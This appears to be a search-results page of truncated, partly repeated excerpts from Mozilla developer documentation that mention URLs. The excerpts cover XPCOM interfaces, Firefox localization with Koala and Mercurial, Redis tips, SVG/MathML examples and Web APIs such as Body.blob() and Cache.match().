url/origin is specified. ...
mozbrowserlocationchange
me type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...string the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. detail the detail property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the new location. cangoback a boolean that defines whether it's possible to go back in the navigation history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the
url bar so that it will always display the correct
url for the current location. var browser = docume...
...tion history (true) or not (false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the
url bar so that it will always display the correct
url for the current location. ...
...false). cangoforward a boolean that defines whether it's possible to go forward in the navigation history (true) or not (false). example this example updates the
url bar so that it will always display the correct
url for the current location. ...
AddonUpdateChecker
error_download_error there was an error while downloading the update information. error_parse_error the update information was malformed in some way. error_unknown_format the update information was not in any known format. ...
... in string appversion, in string platformversion ) parameters updates an array of update objects appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version checkforupdates() starts an update check. ...
...sion of the platform or null to use the current version checkforupdates() starts an update check. ...
...he platform or null to use the current version checkforupdates() starts an update check. ...
Localizing with Koala
onfigure the application choose "firefox" as the application. version: 3.6. appname: browser. included locale: en-us (this is the original locale you're translating from). leave location empty for now. check the "mercurial" checkbox. note that you don't have to edit the location field, it automatically fills in when you check the "mercurial" checkbox: "c:\mozilla\l10n\application\firefox\3.6".
url: http://hg.mozilla.org/releases/mozilla-1.9.2. branch: default. revision: leave empty. click "ok". koala will now try to clone the en-us source repository from http://hg.mozilla.org/releases/mozilla-1.9.2. it's almost 1 gb worth of download, so it may take a while. click "ok". on windows, if koala doesn't clone the repositories, you'll need to do it manually. the easy way involves opening the ...
...ing directory 40357 files updated, 0 files merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the revision history of your files (very recommended) existing localizations:
url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the
url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing or http://hg.mozilla.org/releases/l10n-....9.2/x-testing. new localizations:
url: if you already have a repository set up by l10n-drivers (on bitbucket), type the
url of the remote repo...
... branch: default. revision: leave empty. user: type your name and your e-mail address in the form: "firstname lastname <me@example.com>" (be sure to type the wrapping quotes: "") note that you no longer have to edit the location now, it automatically fills in when you check the "mercurial" checkbox (e.g. ...
...e and issue the following commands: c:\users\stas> cd c:\mozilla\l10n\locale\x-testing c:\mozilla\l10n\locale\x-testing> rmdir 3.6 c:\mozilla\l10n\locale\x-testing> hg clone http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/x-testing 3.6 new localizations: if you have the bitbucket repository already set up by l10n-drivers, the steps are the same as above. just hg clone from the right bitbucket
url. for example: c:\users\stas> cd c:\mozilla\l10n\locale\x-testing c:\mozilla\l10n\locale\x-testing> rmdir 3.6 c:\mozilla\l10n\locale\x-testing> hg clone http://bitbucket.org/mozillal10n/x-testing 3.6 otherwise, it's a good idea to create your local repository in order to be able to track changes you make to the localization files. to do this, open the console and type: c:\users\stas> cd c:\mozill...
Extras
style="stop-color:rgb(255,0,0); stop-opacity:.8;"/> </radialgradient> </defs> <g transform="translate(15,15)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="360" to="0" dur="15s" repeatcount="indefinite"/> <g transform="translate(-15, -15)"> <path fill="
url(#radgrad1)" d="m 15 0 l 20 10 l 30 15 l 20 20 l 15 30 l 10 20 l 0 15 l 10 10"/> </g> </g> </g> </svg> </mtext> </mpadded> </msqrt> <mo>=</mo> <msubsup> <mo>∫</mo> <mn>0</mn> <mfrac> <mi>π</mi> <mn>2</mn> </mfrac> </msubsup> <msup> <mi>θ</mi> <mtext> <svg width="15px" height="15px"> <defs> <radialgradient id="radgrad2" cx="50%" cy="50%" r="50%" ...
..." fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(255,255,255); stop-opacity:1;"/> <stop offset="100%" style="stop-color:rgb(0,0,255); stop-opacity:.9;"/> </radialgradient> </defs> <g> <animatemotion path="m0,0 l3,0 l2,5 l5,5 l0,4 l5,2 z" begin="0s" dur="0.5s" repeatcount="indefinite"/> <circle fill="
url(#radgrad2)" r="5px" cx="5px" cy="5px"/> </g> </svg> </mtext> </msup> <mrow> <mo>ⅆ</mo> <mi>θ</mi> </mrow> </math> <div style="width: 300px; margin-left: auto; margin-right: auto;"> <svg width="300px" height="250px"> <defs> <lineargradient id="grad1" x1="0%" y1="0%" x2="100%" y2="0%"> <stop offset="0%" style="stop-color:rgb(0,0,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(0...
...rgb(255,0,0);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,0);stop-opacity:1"/> </lineargradient> <radialgradient id="grad3" cx="50%" cy="50%" r="50%" fx="50%" fy="50%"> <stop offset="0%" style="stop-color:rgb(0,255,255);stop-opacity:1"/> <stop offset="100%" style="stop-color:rgb(255,255,255);stop-opacity:.8"/> </radialgradient> </defs> <rect width="300" height="250" fill="
url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="
url(#grad2)"/> <switch> <foreignobject width="100" height="70" re...
...temotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="
url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <switch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> <mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </...
Patches and pushes
g french yahoo. ...
...for references on how each tag fu...
...for references on how each tag functions, visit the opensearch wiki page and the mozsearch wiki page. the pages are old (i mean, firefox 2???), but still accurate. ...
...mmitting. also, no new patch attachment will be needed. commit the patch to your aurora repo. only commit the changes you have reviewed. use a commit message that mentions the bug number, describes the change, and mentions the reviewer. for example: hg ci -m "bug 654321, copied the comment from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the
url to your change in the closing comment. write up something like this for your comment: landed this on aurora, http://hg.mozilla.org/releases/l10n/mozilla-aurora/ab-cd/rev/adfe1234feac, marking fixed. update your sign-offs on the l10n dashboard to include the change into the next release. and that's it! it can be considered a bit complicated at first, but after you do it the first time, it get...
Redis Tips
memory usage in redis is important to think about. the speed benefits of redis are lost when you overflow into disk memory. as a conservative calculation, i multiply all the bytes i think i might store and multiply by 10, which antirez once recommended as a worst-case factor for data structure overhead. ...
...tant to think about. the speed benefits of redis are lost when you overflow into disk memory. as a conservative calculation, i multiply all the bytes i think i might store and multiply by 10, which antirez once recommended as a worst-case factor for data structure overhead. ...
... the speed benefits of redis are lost when you overflow into disk memory. as a conservative calculation, i multiply all the bytes i think i might store and multiply by 10, which antirez once recommended as a worst-case factor for data structure overhead. ...
...u: prefix makes it extra clear what these keys are for. even if i have a private redis db for this app, this is descriptively useful and adds a measure of safety. if i ever have more values to store per email than just the password, i could use a hash, with a key like ptu:identity:<email>. in the case where you want to do something akin to a join, like, say, associate an email and a remote
url to store a browserid assertion, just make a new key. in this case, it might be: ptu:assertion:email:<email>:origin:<domain> and since assertions time out, i would do a setex or expireat on that key when i created it. you can rename keys with rename recommended reading http://oldblog.antirez.com/post/redis-persistence-demystified.html/ ...
Querying Places
rent values for this property are listed below. these values are also properties of nsinavhistoryqueryoptions, and are accessed like this: components.interfaces.nsinavhistoryqueryoptions.results_as_visit. results_as_uri: this is the default, and returns one result node of type result_type_uri for each uri that matches the query. the visit date for each node will be the last visit date for that
url. ...
...es.nsinavhistoryqueryoptions.results_as_visit. results_as_uri: this is the default, and returns one result node of type result_type_uri for each uri that matches the query. the visit date for each node will be the last visit date for that
url. results_as_visit: this option returns one entry for each time a page was visited matching the given query. the result may contain duplicate entries for
urls, each with a different date. the nodes are of type result_type_visit, and provide a session id for each visit. this session id is the same for all pages that were reached by clicking links. a new session starts when the user types a new
url or follows a bookmark (xxx link to more details about what constitutes a session). results_as_full_visit: this is an extended version of result_type_visit. ...
...navhistoryquery objects to executequeries(). within one query object, all parameters are anded together. the conditions for different query objects are then ored together. this allows for a simpler implementation and interface than a full logical operation with nested clauses while still being expressive. ...
... the conditions for different query objects are then ored together. this allows for a simpler implementation and interface than a full logical operation with nested clauses while still being expressive. example of querying for any pages i've visited that contain the word "firefox" in the title/
url or that i've visited today from mozilla.org. ...
inIDOMUtils
components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbinding
urls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymouscontent); unsigned long long getcontentstate(in nsidomelement aelement); void getcsspropertynames([optional] in unsigned long aflags, [optional] out unsigned long acount, [retval, array, size_is(acount)] out wstring aprops); nsisupportsarray getcsss...
... constant value description exclude_shorthands (1<<0) include_aliases (1<<1) content state flags the content state flags are used in a bitmask. value state 1 :active 2 :focus 4 :hover 8 :-moz-drag-over 16 :target 1<<29 :-moz-focusring methods getbinding
urls() returns an array of nsiuri objects representing the current xml binding for the specified element. nsiarray getbinding
urls( in nsidomelement aelement ); parameters aelement a dom element to retrieve the bindings of. return value an array of nsiuri objects representing the current xbl binding (if any) for the element and its hierarchy of base bindings. getchildrenfornode() return...
... content and the element's parent has an xbl binding then the element containing the insertion point is returned instead. getruleline() returns the line number of the specified css style rule in its source file. unsigned long getruleline( in nsidomcssstylerule arule ); parameters arule the style rule to retrieve the line number of. ...
... getusedfontfaces() returns a list of the fonts specified using @font-face in the specified portion of the document. nsidomfontfacelist getusedfontfaces( in nsidomrange arange ); parameters arange the dom range to retrieve the font faces of. ...
mozITXTToHTMLConv
constant type description ...
...this applies to "<", "&", and ">" (which are converted to <, &, and >, respectively). kglyphsubstitution unsigned long enables conversion of smilies and non-ascii special characters. kstructphrase unsigned long enables conversion of text attributes, such as converting "*some text*" to boldfaced "some text" by wrapping in the html <strong> element. k
urls unsigned long enables automatic addition of hyperlinks for
urls in the text. methods scantxt() scans the specified text, applying the requested conversions and outputting html. wstring scantxt( in wstring text, in unsigned long whattodo ); parameters text the original, plain text to scan and convert into html. whattodo a bit field composed of the conversion control at...
...e original line of text, which may begin with one or more cite characters such as ">". loglinestart on output, this parameter is set to indicate the offset into the string of the first non-cite character. you must set this value to zero before calling this method. return value the cite level of the quote; that is, the number of text quote characters found at the beginning of the string. find
urlinplaintext() returns the start and end offsets of the first
url found in a substring. void find
urlinplaintext( in wstring text, in long alength, in long apos, out long astartpos, out long aendpos ); parameters text the string to scan for the presence of a
url. alength the length of the buffer to scan. apos the character offset into the string at which to begin the scan. ast...
...ring. void find
urlinplaintext( in wstring text, in long alength, in long apos, out long astartpos, out long aendpos ); parameters text the string to scan for the presence of a
url. alength the length of the buffer to scan. apos the character offset into the string at which to begin the scan. astartpos on return, indicates the offset to the first character of the first found
url, or -1 if no
url was found. aendpos on return, indicates the offset to the last character of the first found
url, or -1 if no
url was found. remarks you can call this method repeatedly, passing in updated values for apos, to locate all the
urls in a string. ...
nsIAnnotationService
double type constant. type_string 3 string type constant. type_binary 4 binary type constant. type_int64 5 int64 type constant. note: use of value "1" is omitted due to it's temporary use as expire_never in bug 319455. methods setpageannotation() this method sets an annotation for given uri, overwriting any previous annotation with the same
url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in
urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored ...
...xpectations about actions such as clear history. if there is an important annotation that the user or extension wants to keep, you should add a bookmark for the page and use an expire_never annotation. this will ensure the annotation exists until the item is removed by the user. setitemannotation() this method sets an annotation for given item, overwriting any previous annotation with the same
url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in
urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored ...
...ue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all item annotations will get deleted when the bookmark is removed. setpageannotationstring() this method sets an annotation for given uri by taking a string as input value, overwriting any previous annotation with the same
url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in
urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored ...
...history. if there is an important annotation that the user or extension wants to keep, you should add a bookmark for the page and use an expire_never annotation. this will ensure the annotation exists until the item is removed by the user. setitemannotationstring() this method sets an annotation for given item by taking a string as input value, overwriting any previous annotation with the same
url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in
urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon" is special. favicons are stored ...
nsIBrowserHistory
inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1. ...
...the unix epoch. markpageasfollowedlink() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was moved to another interface in gecko 22.0. you should use nsinavhistoryservice.markpageasfollowedlink() instead. this function was originally added in gecko 2.0 (firefox 4/thunderbird 3.3/seamonkey 2.1). designates the specified
url as coming from a link explicitly followed by the user (for example by clicking on it). void markpageasfollowedlink( in nsiuri auri ); parameters auri the
url that is to be marked as explicitly followed by the user. markpageastyped() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was moved to another interface i...
...llowedlink( in nsiuri auri ); parameters auri the
url that is to be marked as explicitly followed by the user. markpageastyped() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was moved to another interface in gecko 22.0. you should use nsinavhistoryservice.markpageastyped() instead. this method designates the
url as having been explicitly typed in by the user, so it can be used as an autocomplete result. it is called by the
url bar when the user types in a
url. this can be and is called before the page is actually added to history, since the page isn't added until it actually starts loading. the typed flag affects the
url bar autocomplete. ...
... registeropenpage() obsolete since gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) mark a page as being currently open. ...
nsIDOMMozNetworkStatsManager
is an nsidommoznetworkstats object describing the network statistics. if network stats are not available for some dates, then rxbytes and txbytes are undefined for those dates. if the filtering start date is greater than the end date, an exception is thrown. exceptions thrown ns_error_invalid_arg the filtering start date is greater than the end date. ns_error_not_implmented both appmanifest
url and servicetype are specified at the same time in the networkstatsgetoptions dictionary. invalidnetwork the network must be in the return of getavailablenetworks. addalarm() install an alarm on a network. when total data usage reaches threshold bytes, a "networkstats-alarm" system message is sent to the application, where the optional parameter data must be a cloneable object. nsidomdomrequ...
...sed to filter an alarm request made when calling addalarm(). it contains the following fields: starttime a date object representing the start time. data a date object representing the date of data. networkstatsgetoptions networkstatsgetoptions is a dictionary object used to filter a network statistics request made when calling getsamples(). it contains the following fields: appmanifest
url a string used to filter network stats by app. servicetype a string used to filter network stats by system service. browsingtrafficonly a boolean set to filter network stats by browsing traffic. if true, return only browsing traffic, which is generated from the mozbrowser iframe element within an app. if false or not set, the total traffic, which is generated from both the mozapp and mozbrows...
... ...
...ats by system service. browsingtrafficonly a boolean set to filter network stats by browsing traffic. if true, return only browsing traffic, which is generated from the mozbrowser iframe element within an app. if false or not set, the total traffic, which is generated from both the mozapp and mozbrowser iframe elements, is returned. for example, this object might be { appmanifest
url : manifest
url }. ...
nsIErrorService
r messages. string bundle keys can also be mapped. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xpcom/error-service;1 method overview string geterrorstringbundle(in short errormodule); string geterrorstringbundlekey(in nsresult error); void registererrorstringbundle(in short errormodule, in string stringbundle
url); void registererrorstringbundlekey(in nsresult error, in string stringbundlekey); void unregistererrorstringbundle(in short errormodule); void unregistererrorstringbundlekey(in nsresult error); methods geterrorstringbundle() retrieves a string bundle
url for an error module. string geterrorstringbundle( in short errormodule ); parameter...
...geterrorstringbundlekey() retrieves a key in a string bundle for an nsresult error code. ...
... then the caller should use the nsresult's code (obtained with ns_error_get_code) instead. string geterrorstringbundlekey( in nsresult error ); parameters error the nsresult for which the string bundle key is to be retrieved. return value the key to use to retrieve the error string from the nsresult's module's string bundle. registererrorstringbundle() registers a string bundle
url for an error module. void registererrorstringbundle( in short errormodule, in string stringbundle
url ); parameters errormodule the module for which the string bundle is to be registered. should be one of the modules listed in xpcom/base/nserror.h, such as ns_error_module_storage. stringbundle
url the
url of the string bundle to register for the module. registerer...
... an nsresult error code. void registererrorstringbundlekey( in nsresult error, in string stringbundlekey ); parameters error the nsresult for which the string bundle key is to be registered. stringbundlekey the key that should be used to retrieve the error string from string bundle for the given nsresult. unregistererrorstringbundle() unregisters a string bundle
url for an error module. void unregistererrorstringbundle( in short errormodule ); parameters errormodule the module for which the string bundle is to be unregistered. should be one of the modules listed in xpcom/base/nserror.h, such as ns_error_module_storage. unregistererrorstringbundlekey() unregisters a key in a string bundle for an nsresult error code. void unregistererrorstri...
nsILoginInfo
implemented by: @mozilla.org/login-manager/logininfo;1. to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmit
url, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmit
url astring the origin, not
url, a form-based login was submitted to. for logins obtained from html forms, th...
...this field is null for logins attained from protocol authentications and "" means to match against any form action. hostname astring the origin, not hostname, to which the login applies (for example, "https://www.site.com"). ...
... determine whether this login is exactly equal to another nsilogininfo object. boolean equals( in nsilogininfo alogininfo ); parameters alogininfo the login to which to compare for equality. return value true if the two logins are exactly equal or false if they're not. init() initializes a newly created nsilogininfo object. void init( in astring ahostname, in astring aformsubmit
url, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield ); parameters ahostname the value to assign to the hostname field. aformsubmit
url the value to assign to the formsubmit
url field. ahttprealm the value to assign to the httprealm field. ausername the value to assign to the username field. apassword the va...
...to assign to the password field. ausernamefield the value to assign to the usernamefield field. apasswordfield the value to assign to the passwordfield field. matches() tests to determine whether this login is loosely equivalent to another nsilogininfo object. the passwordfield and usernamefield values are ignored, and the password values may be optionally ignored. if one login's formsubmit
url is an empty string (but not null), it will be treated as a wildcard. a blank value indicates the login was stored before bug 360493 was fixed. boolean matches( in nsilogininfo alogininfo, in boolean ignorepassword ); parameters alogininfo the login to which to compare for equality. ignorepassword if true, do not examine the password value when matching. return value true if the t...
nsIMsgWindow
te an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stop
urls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane. statusfeedback nsimsgstatusfeedback this allows the backend code to send status feedback to the ui. ...
...object. mailcharacterset acstring this is used to track the character set of the currently displayed message. if set to an alias, the actual character set is returned. charsetoverride boolean remember the message's charset was overridden, so it can be inherited (e.g for quoting). stopped boolean check if a running
url been stopped. if you are checking this flag, you need to clear it before you start your operation since there's no convenient place to clear it. domwindow nsidomwindow the message window's global chrome window object. set this to initialize the rootdocshell. methods displayhtmlinmessagepane() loads the specified html in the message pane. this is equivalent to ...
...ear it before you start your operation since there's no convenient place to clear it. domwindow nsidomwindow the message window's global chrome window object. set this to initialize the rootdocshell. methods displayhtmlinmessagepane() loads the specified html in the message pane. this is equivalent to calling loaduri on the nsiwebnavigation object with a data:
url specifying the html. void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); parameters title not used. body the html to display in the message pane. note that the html is wrapped in <html> and <body> tags for you. clearmsghdr whether or not the existing messag...
... in astring body, in boolean clearmsghdr); parameters title not used. body the html to display in the message pane. note that the html is wrapped in <html> and <body> tags for you. clearmsghdr whether or not the existing message pane and header should be cleared before the html is displayed. stop
urls() this is equivalent to calling stop(nsiwebnavigation::stop_network) on the nsiwebnavigation object. void stop
urls(); closewindow() when the msg window is being unloaded from the content window, this notification can be used to force a flush on anything the message window hangs on. for some reason xpconnect is still hanging onto the message window even though all of our objects have let go of ...
nsIProcessScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports this interface is used by parent process message managers to load scripts into a child process. the scripts run only once per process. the global object for process scripts is a contentprocessmessagemanager. methods void loadprocessscript(in astring a
url, in boolean aallowdelayedload) void removedelayedprocessscript(in astring a
url); jsval getdelayedprocessscripts(); loadprocessscript() load a script in the child process. process scripts are loaded as soon as loadprocessscript() is called. if this function is called on a chromemessagebroadcaster, : it will load the process script into all child processes. if aallo...
...always be true. it's possible that the child process for this chromemessagesender is not yet available at the time of the loadprocessscript() call, and if you pass false in this situation, your process script won't be loaded. for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description a
url string
url for the script to load. a
url must be the absolute
url. data:
urls are also supported. for example data:,dump("foo\n"); aallowdelayedload boolean if this flag is false, the process script will only be loaded into child processes that are already running at the time of the call. if this flag is true, the process script will be loaded into any new child proc...
...that are already running at the time of the call. if this flag is true, the process script will be loaded into any new child processes created after the loadprocessscript() call, until removedelayedprocessscript() is called for that script. if you are calling loadprocessscript() on a chromemessagesender, you should always pass true here. ...
... removes a
url from the list of scripts which support delayed load. this cancels the effect of the aallowdelayedload flag, meaning that the loader will no longer load the script into new child processes. if you used aallowdelayedload, you should call this as part of your cleanup (for example, when your add-on is disabled or uninstalled). parameters name type description a
url string
url for the script to remove. getdelayedprocessscripts() returns all delayed scripts that will be loaded once a child process becomes available. the return value is a list of pairs [<
url>, false]. returns list of the delayed scripts. each script is returned as a pair: [<
url>, false]. ...
nsITransferable
khtmlmime text/html html. kaolmailmime aolmail aol mail. need details. kpngimagemime image/png png image. kjpegimagemime image/jpeg jpeg image. kjpgimagemime image/jpg jpeg image. kgifimagemime image/gif gif image. ...
...t/html html. kaolmailmime aolmail aol mail. need details. kpngimagemime image/png png image. kjpegimagemime image/jpeg jpeg image. kjpgimagemime image/jpg jpeg image. kgifimagemime image/gif gif image. ...
... kaolmailmime aolmail aol mail. need details. kpngimagemime image/png png image. kjpegimagemime image/jpeg jpeg image. kjpgimagemime image/jpg jpeg image. kgifimagemime image/gif gif image. kfilemime application/x-moz-file an arbitrary file (is this an nsifile?) k
urlmime text/x-moz-
url a mozilla
url object; this is a text string containing the
url, a newline (\n), then the title of the page. k
urldatamime text/x-moz-
url-data a string containing only a
url. k
urldescriptionmime text/x-moz-
url-desc a string containing only a description. k
urlprivatemime text/x-moz-
url-priv the same as k
urldatamime, except intended for private use only. knativ...
...lcontext text/_moz_htmlcontext along with khtmlinfo, this is used to provide the context for a fragment of html source. contains the serialized ancestor elements. khtmlinfo text/_moz_htmlinfo along with khtmlcontext, this is used to provide the context for a fragment of html source. contains numbers identifying where in the context the fragment came from. kfilepromise
urlmime application/x-moz-file-promise-
url the source
url for a file promise. kfilepromisedestfilename application/x-moz-file-promise-dest-filename the destination
url for a file promise. kfilepromisemime application/x-moz-file-promise a dataless flavor used to interact with the operating system during file drags. kfilepromisedirectorymime application/x...
Using the clipboard
ponents.classes["@mozilla.org/widget/clipboardhelper;1"] .getservice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please."); this example will first create a clipboard helper and then copy a short string to the clipboard. this method only works to put strings on the clipboard. for other types of data, such as
urls or images, you will need to use a more complex method. a component @mozilla.org/widget/clipboard;1 and an interface nsiclipboard provide general access to the system clipboard. you can use them to copy and paste any type of data from your application to the clipboard. three xpcom objects are needed to handle clipboard operations. the first is an object that holds the data to put on the clipboar...
...e", supportsstring(copytext), copytext.length * 2); services.clipboard.setdata(trans, null, services.clipboard.kglobalclipboard); the complete function shown below copies some text to the clipboard as html, as well as making it a clickable hyperlink. so we've added a text flavor and an html flavor of the content. the transferable object will hold both flavors. ...
...balclipboard); the complete function shown below copies some text to the clipboard as html, as well as making it a clickable hyperlink. so we've added a text flavor and an html flavor of the content. the transferable object will hold both flavors. ...
...n below copies some text to the clipboard as html, as well as making it a clickable hyperlink. so we've added a text flavor and an html flavor of the content. the transferable object will hold both flavors. ...
about:debugging - Firefox Developer Tools
in the tools > web developer menu, click remote debugging. ...
...nspect button next to its title. when you do, the developer tools open in a new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox preview, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page. starting in firefox 78, the
url bar is editable, so that you can change the
url used by the browser on the remote device, by typing in firefox for desktop. you can also reload the page by clicking the reload button next to the
url bar, and (starting 79), navigate backward or forward in the browsing history with the back and forward buttons. connecting over the network you can connect to a firefox debug server on your network,...
...d reloads the temporary extension. this is handy when you have made changes to the extension. remove unloads the temporary extension. other information about the extension is displayed: location the location of the extension's source code on your local system. extension id the temporary id assigned to the extension. internal uuid the internal uuid assigned to the extension. manifest
url if you click the link, the manifest for this extension is loaded in a new tab. updating a temporary extension if you install an extension in this way, what happens when you update the extension? if you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or t...
...s, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions. for each one, you see something like the following: the inspect button, and the extension id and internal uuid fields are the same as for temporary extensions. just as it does with temporarily loaded extensions, the link next to manifest
url opens the loaded manifest in a new tab. note: it's recommended that you use the browser toolbox, not the add-on debugger, for debugging webextensions. see debugging webextensions for all the details. the add-ons section in about:debugging lists all web extensions that are currently installed. next to each entry is a button labeled inspect. note: this list may include add-ons that came prein...
Body.blob() - Web APIs
of the body mixin takes a response stream and reads it to completion. it returns a promise that resolves with a blob. syntax response.blob().then(function(myblob) { // do something with myblob }); parameters none. ...
...n takes a response stream and reads it to completion. it returns a promise that resolves with a blob. syntax response.blob().then(function(myblob) { // do something with myblob }); parameters none. note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like
url.createobject
url. ...
...d a blob.type of empty string "", which renders it useless for methods like
url.createobject
url. return value a promise that resolves with a blob. example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object
url using
url.createobject
url, and then set that
url as the source of an <img> element to display the image. ...
...h a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object
url using
url.createobject
url, and then set that
url as the source of an <img> element to display the image. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); specifications specification status comment fetchthe definition of 'blob()' in that specification. living standard ...
Body.body - Web APIs
living standard ...
... living standard ...
... living standard ...
... living standard ...
Using the CSS Typed Object Model - Web APIs
<button>styled button</button> // get the element const button = document.queryselector( 'button' );...
... we've created a blue button with a magic w...
...form: translate3d(1px, 1px, 3px), the .get('transform') would have returned a csstranslate with cssunitvalues for x, y, and z, and the readonly .is2d property would have been false. cssimagevalue our button has one background image: a magic wand. let bgimage = allcomputedstyles.get('background-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); //
url("https://mdn.mozillademos.org/files/16793/magicwand.png") when we get() the 'background-image', a cssimagevalue is returned. while we used the css background shorthand property, the inherited object.prototype.tostring() method, shows we returned only the image, '
url("https://mdn.mozillademos.org/files/16793/magicwand.png")'. notice that the value returned is the absolute path to the image — t...
...16793/magicwand.png") when we get() the 'background-image', a cssimagevalue is returned. while we used the css background shorthand property, the inherited object.prototype.tostring() method, shows we returned only the image, '
url("https://mdn.mozillademos.org/files/16793/magicwand.png")'. notice that the value returned is the absolute path to the image — this is returned even if the original
url() value was relative. had the background image been a gradient or multiple background images, .get('background-image') would have returned a cssstylevalue. the cssimagevalue is returned only if there is a single image, and only if that single image declaration is a
url. summary this should get you started with understanding the css typed om. take a look at all the css typed om interfaces to le...
Cache.match() - Web APIs
a promise that resolves to the response associated with the first matching request in the cache object. if no match is found, the promise resolves to undefined. syntax cache.match(request, {options}).then(function(response) { // do something with the response }); parameters request the request for which you are attempting to find responses in the cache. this can be a request object or a
url. options optional an object that sets options for the match operation. the available options are: ignoresearch: a boolean that specifies whether to ignore the query string in the
